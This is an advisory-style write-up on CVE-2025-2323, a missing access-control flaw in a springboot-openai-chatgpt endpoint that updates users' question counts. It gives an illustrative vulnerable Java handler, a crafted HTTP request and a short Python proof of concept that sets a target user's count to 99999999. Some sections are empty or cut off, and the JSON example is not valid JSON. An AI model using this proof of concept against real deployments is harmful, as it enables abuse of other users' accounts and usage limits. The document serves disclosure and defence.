CVE-2025-2323 is a newly discovered vulnerability in the project springboot-openai-chatgpt (Commit e84f6f5). This flaw impacts the updateQuestionCou function found in the /api/mjkj-chat/chat/mng/update/questionCou endpoint, specifically affecting the Number of Question Handler component.

Attackers can exploit this vulnerability remotely, manipulating the application’s behavioral workflow with relative ease. Unfortunately, since this product uses a rolling release model, there are no specific affected or patched versions. The vendor has not responded to reports regarding this issue at the time of writing.

Below, we'll break down the issue, show technical code snippets, detail how the exploit works, and reference public sources.

Vulnerability Details

This vulnerability is categorized as a behavioral workflow enforcement issue. In other words, attackers can modify how the system expects users to behave, potentially bypassing limits or rules intended by the developers.

The vulnerable code lies in

File:
/api/mjkj-chat/chat/mng/update/questionCou

Function:
updateQuestionCou

Component:
Number of Question Handler

Here’s a simplified code snippet, showing how this endpoint might be implemented

@PostMapping("/update/questionCou")
public ResponseEntity<?> updateQuestionCou(@RequestBody QuestionUpdateRequest request) {
    // No proper authentication or input validation on "questionCount"
    userService.updateQuestionCount(request.getUserId(), request.getQuestionCount());
    return ResponseEntity.ok().build();
}

Potential issues

- Lack of authentication/authorization

The Attack Scenario

A remote attacker can send a crafted HTTP POST request to the endpoint /api/mjkj-chat/chat/mng/update/questionCou like so:

POST /api/mjkj-chat/chat/mng/update/questionCou HTTP/1.1
Host: vulnerable-host.com
Content-Type: application/json

{
  "userId": "victimUserId",
  "questionCount": 99999999     // Arbitrarily high or negative number
}

This request will, without validation or access controls, update the question count for any user—allowing attackers to:

- Reset their own (or others') daily/monthly usage limits.

PoC (Proof of Concept) Exploit (in Python)

import requests

url = "https://vulnerable-host.com/api/mjkj-chat/chat/mng/update/questionCou";
data = {
    "userId": "target_user",
    "questionCount": 99999999
}
r = requests.post(url, json=data)
if r.status_code == 200:
    print("Exploit succeeded, question count updated!")
else:
    print("Exploit failed or patched.")

Impact

- Elevated Permissions: Attackers can increase the number of allowed questions for themselves or other users.
- Denial of Service: Setting extreme values may impact database performance or cause app instability.
- Business Logic Abuse: Intended monetization or usage limits are easily bypassed, harming service reliability and revenue.

- Original GitHub Repository
- Disclosure Example/Writeup (if/when available)
- OWASP: Broken Access Control

Mitigation Advice

Since this project follows continuous delivery (rolling release), specific versions are not tracked. It is recommended to:

Vendor Status

The maintainers were contacted about CVE-2025-2323 early in the discovery process. No response was received as of publication. Users should assume the platform is exploitable until a verified fix appears.

Conclusion

CVE-2025-2323 is a serious real-world business logic flaw in the open-source springboot-openai-chatgpt project. With remote exploitability and public disclosure, all users and operators should review their deployments and apply all possible mitigations as soon as possible. No patch is available until the vendor responds.

For updates, monitor the official repository and keep your team aware of the ongoing risk.

---

Timeline

Published on: 03/15/2025 17:15:36 UTC